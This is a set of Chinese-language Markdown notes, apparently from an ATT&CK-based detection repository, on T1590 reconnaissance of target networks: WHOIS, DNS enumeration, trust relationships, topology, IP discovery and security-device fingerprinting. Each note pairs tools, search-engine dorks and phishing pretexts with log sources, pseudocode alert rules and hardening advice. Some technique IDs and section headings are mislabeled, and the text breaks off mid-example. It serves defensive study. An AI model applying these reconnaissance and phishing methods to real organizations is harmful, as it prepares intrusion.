**注意**:`dnscmd` 在 Windows Server 2016 及以上版本可能不默认支持,推荐使用 PowerShell 的 `DnsServer` 模块。
## 测试留痕
### 内部场景
- **Windows 安全日志**:
```
Event ID: 4688
Creator Subject:
Security ID: EXAMPLE\admin
Account Name: admin
Account Domain: EXAMPLE
Logon ID: 0x36D7FD
Process Information:
New Process ID: 0x111c
New Process Name: C:\Windows\System32\dnscmd.exe
Creator Process Name: C:\Windows\System32\cmd.exe
Process Command Line: dnscmd /ZoneInfo example.com
```
- **DNS 服务器日志**:
```
Query: example.com, Type: SOA, Source: 192.168.1.100
```
### 外部场景
- **DNS 查询日志**(若目标控制 DNS 服务器):
```
Query: mail.example.com, Type: A, Source: 203.0.113.1
```
- **Web 服务器日志**(若爬取官网):
```
203.0.113.1 - - [26/May/2025:08:01:00 +0000] "GET /sitemap.xml HTTP/1.1" 200 1234
```
## 检测规则/思路
### 检测规则
1. **监控 dnscmd 和 PowerShell 进程**:
- 检查 Windows 事件 ID 4688,检测 `dnscmd.exe` 或 `powershell.exe` 的异常启动。
- 示例规则(伪代码):
```log
if (EventID == 4688 and ProcessName == "dnscmd.exe" or ProcessName == "powershell.exe" and CommandLine contains "DnsServer") then alert
```
2. **DNS 查询异常**:
- 监控 DNS 服务器日志,检测高频查询(如 `ANY` 类型或多个子域名)。
- 示例规则(伪代码):
```log
if (DNS Query Type == ANY and Queries > 50/hour from single IP) then alert
```
3. **网络流量分析**:
- 检测异常的 UDP 53 流量(如高频外部查询)。
- 示例规则(伪代码):
```log
if (UDP Port 53 and Source IP not in Trusted_IPs and Queries > 100/hour) then alert
```
4. **Web 爬虫检测**:
- 检查 Web 服务器日志,识别高频访问 sitemap.xml 或子域名相关页面的 IP。
- 示例规则(伪代码):
```log
if (GET /sitemap.xml | /about > 100 requests/hour from single IP) then alert
```
### 检测思路
- **内部威胁**:重点监控域内管理员权限的使用,检测异常的 DNS 管理操作(如 `dnscmd` 或 PowerShell 命令)。
- **外部威胁**:分析 DNS 查询模式,识别异常的高频或广域查询(如 `ANY` 查询)。
- **SIEM 关联分析**:整合 Windows 安全日志、DNS 服务器日志和网络流量,检测异常模式。
- **威胁情报**:订阅外部情报,监控针对目标域名的 DNS 记录泄露或扫描活动。
## 建议
### 防御措施
1. **限制 DNS 记录公开**:
- 最小化公开的 DNS 记录(如避免不必要的 TXT 或 CNAME 记录)。
- 使用私有 DNS 服务器,限制外部查询(如仅允许信任的 IP)。
2. **加强权限管理**:
- 限制对 DNS 服务器的管理权限,仅授权必要管理员使用 `dnscmd` 或 `DnsServer` 模块。
- 启用多因素认证(MFA)保护域管理员账号。
3. **DNS 安全配置**:
- 启用 DNSSEC(DNS 安全扩展)防止 DNS 记录篡改。
- 配置防火墙,限制外部对 DNS 服务器的查询(UDP 53)。
4. **员工培训**:
- 教育员工识别钓鱼邮件,避免泄露与 DNS 相关的配置信息。
- 提高对社交工程攻击的警惕性,防止内部权限泄露。
5. **主动 OSINT 评估**:
- 使用 The Harvester 或 dnsdumpster 模拟攻击者行为,评估公开 DNS 记录的暴露程度。
- 定期检查 Pastebin 或暗网,识别泄露的 DNS 信息。
### 后续阶段监控
- **钓鱼攻击(T1566)**:
- 监控邮件网关日志,检测利用 DNS 记录(如 MX 服务器)的钓鱼邮件。
- 示例事件:Windows 事件 ID 4663(文件访问)。
- **服务探测(T1046)**:
- 监控网络扫描活动,检测针对 DNS 记录暴露的服务器(如 `mail.example.com`)的探测。
- 示例规则:`if (TCP SYN to 192.168.1.20 > 10/min from single IP) then alert`。
- **有效账号使用(T1078)**:
- 检测异常的管理员登录,如 Windows 事件 ID 4624(登录成功)。
### 外部情报监控
- 订阅威胁情报服务,获取针对组织域名的 DNS 扫描或泄露预警。
- 监控暗网或 Pastebin,识别泄露的 DNS 记录或子域名。
- 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。
### 降低误报
- 区分合法的 DNS 查询(如员工或合作伙伴)与攻击者的扫描活动,结合 IP 地理位置、查询频率等上下文。
- 使用机器学习模型分析 DNS 流量,识别异常查询模式。
- 定期更新检测规则,避免误报正常的 DNS 管理操作。
## 参考推荐
- MITRE ATT&CK:T1590
- 域渗透——DNS记录的获取
- Microsoft dnscmd 文档
- Microsoft RSAT 下载
- PowerShell DnsServer 模块文档
================================================
FILE: Windows/01侦察/T1590.001-收集目标组织网络信息-域属性.md
================================================
# T1590-001-收集目标组织网络信息-域属性
## 描述
攻击者在入侵目标组织之前,可能收集其网络域属性的信息。域属性信息包括目标组织拥有的域名、注册商信息、域名注册人联系方式(如姓名、电子邮件、电话)、公司地址、名称服务器(NS记录)、注册和到期日期等。这些信息可帮助攻击者了解目标的网络架构、关键联系人以及潜在的攻击入口点。
攻击者可能通过以下方式收集域属性信息:
- **被动收集**:查询公开的WHOIS数据库、DNS记录或其他技术数据库(如DNS Dumpster、Circl Passive DNS)。
- **主动收集**:通过扫描目标域的服务器(如端口扫描、Banner抓取)获取服务信息,或通过钓鱼诱导员工泄露域名管理凭据。
- **社会工程**:伪装成合法实体,通过邮件或电话套取域名管理相关信息。
- **公开信息分析**:利用搜索引擎、社交媒体或泄露文档(如Pastebin)获取与域名相关的信息。
收集到的域属性信息可能为后续攻击活动做准备,例如搜索开放网站/域(T1593)、主动扫描(T1595)、建立运营资源(T1583/T1584)或通过钓鱼攻击实现初始访问(T1566)。
## 测试案例
以下是模拟攻击者收集域属性信息的常见方法和工具:
- **WHOIS查询**:
- **Kali Linux WHOIS**:使用命令行工具`whois target.com`查询域名注册信息。
- **在线WHOIS查询工具**:
- **站长之家** (): 查询域名归属、注册商及到期时间。
- **爱站网** (): 提供域名注册信息和历史记录。
- **IP138** (): 查询域名和IP关联信息。
- **ICANN Lookup** (): 官方WHOIS查询工具。
- **腾讯云域名信息查询** (): 查询域名注册详情。
- **Whois Lookup** (): 提供详细的WHOIS记录。
- **新网WHOIS** (): 查询国内域名注册信息。
- **被动DNS与历史记录查询**:
- **DNS Dumpster** (): 获取域名关联的DNS记录和历史信息。
- **SecurityTrails** (): 查询域名的历史解析记录和子域名。
- **Circl Passive DNS** (): 提供全球DNS记录查询。
- **威胁情报平台**:
- **微步在线** (): 提供域名相关的威胁情报和注册信息。
- **奇安信威胁情报平台** (): 分析域名与潜在威胁的关联。
- **社会工程**:
- 通过伪装成域名注册商发送钓鱼邮件,诱导员工泄露域名管理平台凭据。
- 在社交媒体或论坛(如LinkedIn、QQ群)收集员工泄露的域名信息。
- **案例场景**:
- 攻击者通过ICANN Lookup查询目标域名的注册人邮箱,发现其用于其他服务,发起针对性钓鱼攻击。
- 使用SecurityTrails发现目标域名的历史NS记录,推测其托管服务提供商并寻找弱点。
## 检测日志
域属性信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源:
- **DNS服务器日志**:
- 记录异常的DNS查询,如针对敏感域名的频繁WHOIS或NS查询。
- **Web服务器日志**:
- 检测与域名管理平台相关的异常登录尝试或HTTP请求。
- **邮件服务器日志**:
- 监控钓鱼邮件或社会工程攻击,可能与域名信息收集相关。
- **网络流量日志**:
- 检测外部主机对组织DNS服务器的异常查询或扫描行为。
## 测试复现
暂无标准化复现流程。可通过以下方式模拟:
- **被动收集**:使用ICANN Lookup或SecurityTrails查询目标域名的WHOIS记录和历史DNS数据。
- **主动查询**:在授权测试环境中,使用`whois`命令或在线工具查询目标域名的注册信息。
- **社会工程模拟**:在红队测试中,伪装成注册商发送钓鱼邮件,诱导员工泄露域名管理凭据。
- **综合测试**:结合DNS Dumpster和Shodan,分析目标域名的子域名和关联资产。
## 测试留痕
- **被动WHOIS查询**:通常不留明显痕迹,难以直接检测。
- **主动扫描**:可能在DNS服务器或防火墙日志中记录异常查询或扫描流量。
- **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。
- **域名管理平台**:异常登录尝试可能在管理平台日志中记录。
## 检测规则/思路
由于域属性信息收集多发生在目标组织视野之外,检测需结合多种手段:
- **DNS查询监控**:
- 配置DNS服务器记录查询日志,检测异常的WHOIS或NS查询模式。
- 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。
- **网络流量分析**:
- 部署IDS/IPS(如Snort、Suricata)监控异常DNS查询或针对管理端口的扫描。
- 使用Zeek或NetFlow分析DNS请求模式,识别潜在的枚举行为。
- **信息泄露防护**:
- 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露域名相关信息。
- 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的WHOIS数据。
- **威胁情报整合**:
- 结合威胁情报平台(如微步在线、奇安信),识别已知的WHOIS查询工具或恶意IP。
- 定期检查公开WHOIS数据库中的记录,评估信息暴露风险。
## 建议
- **减少信息暴露**:
- 使用WHOIS隐私保护服务,隐藏注册人联系方式和公司信息。
- 定期审查公开DNS记录,删除不必要的子域名或敏感信息。
- 对员工进行安全意识培训,防止通过社会工程泄露域名管理凭据。
- **域名安全加固**:
- 启用域名注册锁,防止未经授权的域名转移。
- 实施MFA(多因素认证)保护域名管理平台。
- 定期更新DNS记录,移除过期的NS或A记录。
- **主动监控与响应**:
- 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的域属性侦察活动。
- 定期审计域名注册商和托管服务提供商的安全配置。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1566、横向移动T1021),通过异常网络流量或钓鱼行为间接发现侦察活动。
## 参考资料
- MITRE ATT&CK: T1590-003 (Domain Properties)
- 收集域名信息与安全
- 渗透测试之信息收集DNS篇
================================================
FILE: Windows/01侦察/T1590.002-收集目标组织网络信息-DNS.md
================================================
# T1590-002-收集目标组织网络信息-DNS
## 来自ATT&CK的描述
攻击者在入侵目标组织之前,可能收集其DNS相关信息,以了解目标的网络架构和关键资产。DNS信息包括注册的名称服务器、子域名、邮件服务器(MX记录)、其他主机地址(A/AAAA记录)以及相关的TXT或CNAME记录等。这些信息可帮助攻击者识别目标的网络入口点、基础设施分布或潜在漏洞。
攻击者可能通过以下方式收集DNS信息:
- **被动DNS查询**:利用公开DNS数据库或历史记录(如SecurityTrails、DNS Dumpster)获取目标的域名解析历史。
- **主动DNS查询**:直接查询目标域名的DNS记录(如使用dig、nslookup)。
- **公开信息收集**:通过搜索引擎、社交媒体或泄露文档获取与DNS相关的配置信息。
- **社会工程**:通过钓鱼或伪装身份诱导员工泄露DNS相关信息(如管理凭据)。
收集到的DNS信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或利用外部远程服务实现初始访问(T1133)。
## 测试案例
以下是模拟攻击者收集DNS信息的常见方法和工具:
- **被动DNS查询**:
- **SecurityTrails** (): 查询目标域名的历史DNS记录,包括IP地址、子域名和机房信息。
- **DNS Dumpster** (): 提供目标域名的DNS映射和子域名信息。
- **ViewDNS.info** (): 获取DNS历史记录,追踪域名解析变更。
- **DNSDB** (): 全球DNS搜索引擎,查询目标域名的历史和当前记录。
- **主动DNS查询**:
- **dig/nslookup**: 直接查询目标域名的A、MX、NS、TXT等记录。
- **dnsenum**: 自动化枚举目标域名的子域名和DNS记录。
- **Fierce**: 用于DNS枚举和子域名爆破的工具。
- **在线查询平台**:
- **ThreatBook** (): 提供DNS和威胁情报分析。
- **Netcraft** (): 分析目标域名的托管信息和历史记录。
- **社会工程**:
- 通过伪装成IT管理员发送钓鱼邮件,诱导员工泄露DNS管理平台的凭据。
- 在论坛或社交媒体(如QQ群、LinkedIn)收集员工泄露的DNS配置信息。
- **案例场景**:
- 攻击者通过SecurityTrails查询目标组织的子域名,发现未正确配置的邮件服务器(MX记录),进而发起针对该服务器的攻击。
- 使用dnsenum枚举子域名,识别隐藏的测试环境(如test.target.com),作为后续入侵的入口。
## 检测日志
DNS信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源:
- **DNS服务器日志**:
- 记录异常的DNS查询模式,如来自单一IP的高频查询或针对子域的批量查询。
- **网络流量日志**:
- 检测外部主机对组织DNS服务器的异常请求(如大量A/NS/MX查询)。
- **Web服务器日志**:
- 监控与DNS管理平台相关的异常登录尝试或HTTP请求。
- **邮件服务器日志**:
- 检测钓鱼邮件或社会工程攻击,可能与DNS信息收集相关。
## 测试复现
无标准化复现流程。可通过以下方式模拟:
- **被动收集**:使用SecurityTrails或DNS Dumpster查询目标组织的DNS记录,记录子域名和历史IP。
- **主动查询**:在授权测试环境中,使用dig或dnsenum枚举目标域名的子域名和记录。
- **社会工程模拟**:在红队测试中,伪装成第三方服务提供商,诱导员工泄露DNS管理信息。
- **综合测试**:结合FOFA/Shodan搜索与目标域名关联的外部资产,推测DNS配置。
## 测试留痕
- **被动DNS查询**:通常不留明显痕迹,难以直接检测。
- **主动DNS查询**:可能在DNS服务器日志中记录异常查询流量。
- **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。
- **DNS管理平台**:异常登录尝试可能在管理平台日志中记录。
## 测试留痕
由于DNS信息收集多发生在目标组织视野之外,检测需结合多种手段:
- **DNS查询监控**:
- 配置DNS服务器记录查询日志,检测异常的高频查询或针对敏感子域的请求。
- 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。
- **网络流量分析**:
- 部署IDS/IPS(如Snort、Suricata)监控异常DNS流量,如来自单一IP的批量查询。
- 使用Zeek或NetFlow分析DNS请求模式,识别潜在的枚举行为。
- **信息泄露防护**:
- 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露DNS相关信息。
- 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的DNS记录。
- **威胁情报整合**:
- 结合威胁情报平台(如ThreatBook),识别已知的DNS侦察工具或恶意IP。
- 定期检查第三方DNS数据库(如SecurityTrails)中的记录,评估信息暴露风险。
### 建议
- **减少信息暴露**:
- 使用WHOIS隐私保护服务,隐藏域名注册信息。
- 定期清理或限制公开DNS记录,避免暴露敏感子域名或服务器信息。
- 对员工进行安全意识培训,防止通过社会工程泄露DNS管理凭据。
- **DNS安全加固**:
- 实施DNSSEC(DNS安全扩展)以防止DNS欺骗和篡改。
- 限制DNS管理平台的访问,仅允许白名单IP登录。
- 定期审计DNS记录,删除未使用的子域名或记录。
- **主动监控与响应**:
- 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的DNS侦察活动。
- 定期审查第三方服务提供商的DNS配置,确保其安全性。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1133、横向移动T1021),通过异常网络流量或登录行为间接发现DNS侦察活动。
## 参考资料
- MITRE ATT&CK: T1590-002
- DNS历史解析与安全
- 渗透测试之信息收集DNS篇
================================================
FILE: Windows/01侦察/T1590.003-收集目标组织网络信息-网络信任关系.md
================================================
# T1590-001-收集目标组织网络信息-网络信任关系
## 描述
攻击者在入侵目标组织之前,可能收集其网络信任关系的信息。网络信任关系信息包括与目标组织存在信任连接的第二方或第三方组织/域的详细信息,例如托管服务提供商、承包商、分公司或其他合作伙伴的网络访问权限。这些信任关系可能涉及专线连接、VPN、共享凭据或单点登录(SSO)系统,攻击者可利用这些关系实现初始访问或横向移动。
攻击者可能通过以下方式收集网络信任关系信息:
- **社会工程**:通过钓鱼邮件、电话伪装或社交媒体诱骗员工泄露信任关系信息。
- **公开信息收集**:查询公开技术数据库(如WHOIS、DNS记录)或搜索企业官网、社交媒体、招标文档等,获取与合作伙伴或供应商相关的信息。
- **网络侦察**:通过扫描或被动信息收集,识别目标组织与外部实体之间的网络连接(如专线、VPN端点)。
- **泄露数据分析**:利用暗网或公开泄露的数据集(如Pastebin、数据泄露论坛)获取信任关系信息。
收集到的信任关系信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或利用信任关系实现初始访问(T1199)。
## 测试案例
以下是收集网络信任关系信息的常见方法和场景:
- **社会工程**:
- 伪装成IT支持人员,通过钓鱼邮件诱导员工泄露VPN配置或第三方服务凭据。
- 在LinkedIn、QQ群或行业论坛中与员工互动,套取与供应商或分公司的网络连接信息。
- **公开信息收集**:
- 使用Google高级搜索语法(如`site:*.target.com "partner" | "supplier" | "contractor"`)查找目标组织与第三方合作的公开信息。
- 查询WHOIS记录或DNS记录,识别与目标组织相关的子域或关联IP,推测信任关系。
- 搜索公开招标文档或企业年报,获取与托管服务提供商或分公司的合作细节。
- **网络扫描**:
- 使用Nmap或Masscan扫描目标组织的外部IP范围,识别VPN网关、远程访问服务或专线端点。
- 使用Shodan或FOFA搜索与目标组织关联的外部设备,推测信任网络的边界。
- **案例场景**:
- 在航空、金融或电信行业,攻击者可能通过入侵分公司的弱安全系统(如未打补丁的服务器),利用专线或共享凭据进入目标组织的内部网络。
- 攻击者可能利用泄露的第三方托管服务提供商凭据(如云服务API密钥),通过信任关系访问目标组织的资源。
## 检测日志
网络信任关系信息的收集多发生在目标组织视野之外,检测难度较高。以下是可能的日志来源:
- **外部活动**:
- **邮件服务器日志**:记录钓鱼邮件或异常的外部邮件交互。
- **Web服务器日志**:检测异常的HTTP请求,可能与爬取公开信息相关。
- **DNS日志**:监控针对组织域名的异常查询,可能是攻击者尝试推测信任关系。
- **内部活动**:
- **VPN/远程访问日志**:记录异常的登录尝试或来自未知IP的连接。
- **网络流量日志**:检测来自第三方网络的异常流量,可能与信任关系滥用相关。
- **身份验证日志**:监控共享凭据或SSO系统的异常使用情况。
## 测试复现
暂无标准化复现流程。可通过以下方式模拟:
- **外部测试**:
- 使用FOFA或Shodan搜索目标组织的VPN网关或远程访问服务,分析可能的信任关系。
- 通过Google搜索或社交媒体收集与目标组织合作的第三方信息。
- **内部测试**:
- 在授权测试环境中,模拟通过已攻陷的第三方系统(如分公司的服务器)尝试访问目标网络。
- 使用Nmap扫描内网,识别与外部信任网络(如VPN或专线)相关的设备。
- **社会工程模拟**:
- 在红队测试中,伪装成合作伙伴发送钓鱼邮件,诱导员工泄露信任关系信息。
## 测试留痕
- **社会工程**:可能在邮件服务器或员工设备上留下钓鱼邮件或交互记录。
- **外部扫描**:防火墙或IDS/IPS可能记录异常的扫描流量(如针对VPN端口的探测)。
- **公开信息收集**:通常不留明显痕迹,难以直接检测。
- **信任关系滥用**:可能在VPN或身份验证日志中记录异常的登录尝试或流量。
## 检测规则/思路
由于网络信任关系收集活动难以直接检测,建议从以下角度进行监控:
- **外部活动检测**:
- 使用IDS/IPS(如Snort、Suricata)监控针对VPN、远程桌面或管理接口的异常扫描行为。
- 配置WAF(Web应用防火墙)检测针对企业网站的异常爬取行为。
- 监控DNS查询日志,识别针对组织域名的频繁或异常查询。
- **内部行为监控**:
- 使用SIEM系统关联VPN、身份验证和网络流量日志,检测来自第三方网络的异常访问。
- 部署EDR(端点检测与响应)工具,监控员工设备上的异常进程(如运行钓鱼邮件附件)。
- **信息泄露防护**:
- 使用DLP(数据丢失防护)工具,检测员工通过邮件、网盘或社交媒体泄露信任关系信息。
- 定期监控公开信息源(如Pastebin、暗网论坛)中是否出现与组织相关的信任关系数据。
- **威胁情报整合**:
- 结合外部威胁情报,识别已知的恶意IP或钓鱼活动,关联可能的侦察行为。
- 监控第三方合作伙伴的公开数据泄露事件,评估对自身信任关系的影响。
## 建议
- **减少信息暴露**:
- 限制公开文档中与合作伙伴、供应商或分公司的网络连接信息。
- 对员工进行安全意识培训,防止通过社交媒体或钓鱼泄露信任关系信息。
- 使用WHOIS隐私保护服务,减少域名注册信息暴露。
- **网络安全加固**:
- 实施强身份验证(如MFA)保护VPN、SSO或远程访问系统。
- 配置网络分段,限制第三方网络对核心系统的直接访问。
- 定期审计与第三方合作的网络连接(如专线、VPN),确保访问权限最小化。
- **主动监控与响应**:
- 部署网络流量分析工具(如Zeek、NetFlow)监控与第三方网络的异常交互。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的侦察或信任关系滥用行为。
- 定期审查第三方合作伙伴的安全合规性,确保其网络安全措施达标。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1199、横向移动T1021),通过异常登录或网络流量间接发现侦察活动。
## 参考资料
- MITRE ATT&CK: T1590-001
- 渗透测试信息收集技术
================================================
FILE: Windows/01侦察/T1590.004-收集目标组织网络信息-网络拓扑.md
================================================
# T1590-004-收集目标组织网络信息-网络拓扑
## 描述
攻击者在入侵目标组织之前,可能通过多种方式收集其网络拓扑信息。这些信息包括目标网络的物理或逻辑布局,例如内部和外部网络的结构、关键网络设备(如网关、路由器、交换机)的分布,以及其他基础设施的详细信息(如DMZ、子网划分)。通过了解网络拓扑,攻击者能够识别关键节点、潜在弱点或入口点,为后续的初始访问(如T1133外部远程服务)或横向移动(如T1021)奠定基础。
攻击者可能通过以下方式收集网络拓扑信息:
- **外部收集**:利用公开信息源(如搜索引擎、社交媒体、泄露的文档)或主动扫描外部网络接口。
- **内部收集**:在获得初始访问后,通过内网扫描、流量嗅探或配置信息提取获取更详细的拓扑信息。
- **社会工程**:通过钓鱼或社交媒体(如QQ群、论坛)获取员工泄露的网络架构信息。
## 测试案例
以下是收集网络拓扑信息的常见方法和工具:
- **外部收集**:
- **搜索引擎利用**:使用Google高级搜索语法(如`site:*.target.com filetype:pdf "network diagram"`)查找公开的网络架构文档。
- **网盘检索**:搜索网盘(如百度网盘、Google Drive)中泄露的网络拓扑图或配置文件。
- **社交媒体和论坛**:通过QQ群、微信群、Discord或技术论坛收集员工无意泄露的网络信息。
- **被动DNS分析**:使用工具(如DNS Dumpster、SecurityTrails)分析DNS记录,推测子网或服务器分布。
- **内部收集**:
- **网络扫描工具**:
- **Nmap**:扫描内网IP范围,识别活跃主机、开放端口及服务。
- **Angry IP Scanner**:快速扫描内网设备,获取IP和MAC地址。
- **流量嗅探**:使用Wireshark或tcpdump捕获网络流量,分析通信模式以推导拓扑。
- **配置提取**:通过已攻陷设备提取路由器或交换机的配置文件(如Cisco IOS的`show running-config`)。
- **空间搜索引擎**:
- **FOFA/Shodan**:搜索目标组织的外部设备(如路由器、VPN网关)以推测网络边界。
- **ZoomEye**:识别暴露的网络设备和服务。
## 检测日志
网络拓扑信息收集多发生在目标组织视野之外,检测难度较大。以下是可能用于检测的日志来源:
- **外部探测**:
- **防火墙日志**:记录异常的外部扫描流量(如高频SYN包或端口扫描)。
- **Web服务器日志**:检测异常的HTTP请求,可能与搜索引擎爬取或恶意探测相关。
- **DNS日志**:监控针对组织域名的异常DNS查询。
- **内部活动**:
- **网络流量日志**:检测内网中的异常扫描行为或流量模式。
- **系统日志**:记录对网络设备(如路由器、交换机)的未授权访问尝试。
- **EDR日志**:监控主机上的异常进程(如运行Nmap或Wireshark)。
## 测试复现
暂无标准化复现流程。可通过以下方式模拟:
- **外部测试**:使用FOFA或Shodan搜索目标组织的外部设备,结合Nmap进行端口扫描,记录暴露的网关或服务器。
- **内部测试**:在授权测试环境中,使用Nmap扫描内网IP范围,结合Wireshark捕获流量,绘制简单的网络拓扑图。
- **社会工程模拟**:在红队测试中,尝试通过公开信息源(如LinkedIn、论坛)或伪装身份获取员工泄露的网络信息。
## 测试留痕
- **外部探测**:可能在防火墙或IDS/IPS中留下扫描流量记录,如高频TCP/UDP连接尝试。
- **内部扫描**:内网设备可能记录异常的ARP请求、端口扫描或流量嗅探行为。
- **社会工程**:可能在邮件服务器或社交平台日志中留下钓鱼或信息收集的痕迹。
- **被动收集**:通过公开数据库或搜索引擎进行的收集通常不留明显痕迹。
## 检测规则/思路
由于网络拓扑收集活动难以直接检测,建议从以下角度进行监控:
- **外部扫描检测**:
- 使用IDS/IPS(如Snort、Suricata)监控高频扫描流量或异常端口访问。
- 设置防火墙规则,限制对敏感端口(如管理端口22、3389)的外部访问。
- **内部行为监控**:
- 部署网络监控工具(如Zeek)分析内网流量,检测异常的扫描或嗅探行为。
- 使用SIEM系统关联主机和网络日志,识别运行扫描工具的异常进程。
- **信息泄露防护**:
- 监控公开信息源(如Pastebin、网盘)中是否出现组织的网络拓扑图或配置文件。
- 使用DLP(数据丢失防护)工具检测员工通过邮件或社交媒体泄露敏感信息。
- **威胁情报整合**:结合外部威胁情报,识别已知的恶意IP或扫描模式,关联可能的侦察活动。
## 建议
- **减少信息暴露**:
- 限制公开文档中的网络拓扑信息,避免在官网或网盘泄露架构图。
- 对员工进行安全意识培训,防止通过社交媒体或论坛泄露敏感信息。
- 使用CDN或WAF隐藏关键网络设备的真实IP地址。
- **网络安全加固**:
- 限制外部对管理接口(如SSH、RDP)的访问,仅允许白名单IP。
- 配置VLAN和网络分段,减少内网设备暴露面。
- 定期更新网络设备的固件和访问控制列表(ACL)。
- **主动监控与响应**:
- 部署网络流量分析工具(如Zeek、NetFlow)监控异常流量。
- 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的侦察行为。
- 定期审计网络设备配置,检查是否被未授权访问。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1133、横向移动T1021),通过异常登录或网络流量间接发现侦察活动。
## 参考推荐
- MITRE ATT&CK: T1590-004
- 渗透测试信息收集技术
================================================
FILE: Windows/01侦察/T1590.005-收集目标组织网络信息-IP地址.md
================================================
# T1590-005-收集目标组织网络信息-IP地址
## 描述
攻击者可能在攻击前收集目标组织的IP地址信息,以了解其网络结构和基础设施。IP地址信息通常包括分配给目标组织的IP地址块、当前使用的IP地址范围等。这些信息可帮助攻击者推测目标的组织规模、地理位置、互联网服务提供商(ISP)以及面向公众的基础设施部署情况。
攻击者可能通过以下方式收集IP地址信息:
- **主动收集**:使用扫描工具(如Nmap、Masscan)或钓鱼技术。
- **被动收集**:查询公开技术数据库(如WHOIS、DNS Dumpster、Circl Passive DNS)或利用空间搜索引擎(如FOFA、ZoomEye)。
- **绕过CDN**:通过技术手段(如DNS历史记录查询)获取隐藏在CDN后的真实IP地址。
收集到的IP地址信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域名(T1593)或建立运营资源(T1583/T1584),最终支持初始访问(如利用外部远程服务,T1133)。
## 测试案例
以下是收集IP地址信息的常见方法和工具:
- **网络扫描工具**:
- **Nmap**:用于发现目标网络中的活跃IP地址和开放端口。
- **Masscan**:高效扫描大规模IP地址范围。
- **Goby**:自动化资产发现和漏洞扫描工具。
- **空间搜索引擎**:
- **FOFA**:通过搜索特定IP地址或网络特征发现目标资产。
- **ZoomEye**:提供全球IP地址和设备指纹的查询功能。
- **绕过CDN查找真实IP**:
- 使用DNS历史记录查询工具(如SecurityTrails、DNS Dumpster)。
- 参考方法:。
## 检测日志
由于IP地址信息收集多发生在目标组织网络外部(如通过公开数据库或扫描),传统日志难以有效监测。可能的日志来源包括:
- **DNS日志**:监控异常的DNS查询行为。
- **网络流量日志**:检测来自外部的扫描流量(如高频SYN包)。
- **Web服务器日志**:记录异常的HTTP请求,可能与钓鱼或探测相关。
## 测试复现
暂无标准化复现流程。攻击者通常结合主动扫描和被动查询完成IP地址收集,具体复现需根据目标环境模拟工具使用(如Nmap扫描或FOFA查询)。
## 测试留痕
- **主动扫描**:目标网络可能记录到异常的扫描流量(如来自单一IP的高频端口扫描)。
- **被动查询**:通常不留明显痕迹,难以直接检测。
- **CDN绕过**:可能在DNS查询日志中留下历史记录查询的痕迹。
## 检测规则/思路
由于IP地址收集活动多发生在目标组织视野之外,检测较为困难。以下是一些检测思路:
- **异常流量监控**:使用IDS/IPS(如Snort、Suricata)检测异常扫描行为,例如高频TCP/UDP连接尝试。
- **DNS查询分析**:监控异常的DNS查询模式,特别是针对组织域名的频繁查询。
- **威胁情报整合**:结合外部威胁情报,识别已知的恶意IP或扫描来源。
- **CDN日志分析**:若使用CDN,分析CDN日志中的异常请求,检测可能的IP泄露尝试。
## 建议
- **降低信息暴露**:
- 限制WHOIS记录中的敏感信息(如联系方式)。
- 使用CDN隐藏真实服务器IP地址。
- 定期检查公开数据库中的IP信息泄露。
- **增强网络防御**:
- 部署防火墙和IDS/IPS,限制未经授权的扫描流量。
- 配置WAF(Web应用防火墙)以检测和阻止异常探测行为。
- **主动监控**:
- 使用威胁情报平台跟踪针对组织的侦察活动。
- 定期审计DNS记录和IP分配,防止泄露。
- **后续阶段检测**:
- 重点监控攻击者生命周期的后续阶段(如初始访问T1133),通过异常登录或外部远程服务利用行为间接发现侦察活动。
## 参考推荐
- MITRE ATT&CK: T1590-005
- 渗透测试信息收集技术
================================================
FILE: Windows/01侦察/T1590.006-收集目标组织网络信息-网络安全设备.md
================================================
# T1590-006-收集目标组织网络信息-网络安全设备
## 描述
在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的网络安全设备信息(T1590.006)。这些信息可用于目标定位、了解网络防御能力或指导后续攻击活动(如外部远程服务 T1133、漏洞利用 T1190 或供应链攻击 T1195)。网络安全设备信息通常包括已部署的防火墙、内容筛选器、代理/堡垒主机、网络入侵检测系统(NIDS)或其他防御性设备的型号、版本或配置详情。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源、主动扫描或社交工程)进行,防御者难以直接发现。
攻击者收集网络安全设备信息的动机包括:
- **规避防御机制**:通过识别防火墙或 NIDS 的型号和版本,寻找可利用的漏洞或绕过策略。
- **定制攻击向量**:利用设备信息开发针对特定安全设备的攻击技术(如针对蜜罐的识别与阻断)。
- **供应链攻击**:识别安全设备供应商,寻找供应链中的弱点。
## 测试案例
以下测试案例展示了攻击者可能使用的外部网络安全设备信息收集方法,聚焦于公开数据源、主动扫描和社交工程,特别包括通过公开采购信息和 WEB 蜜罐识别技术收集信息。
#### 测试案例 1:通过公开采购信息收集网络安全设备信息
**关联技术**:T1590.006(网络安全设备信息收集)
**说明**:
- 攻击者通过公开的采购公告、招标文件或公司官网,提取目标组织使用的防火墙、NIDS 或其他安全设备的型号和版本。
**示例操作**:
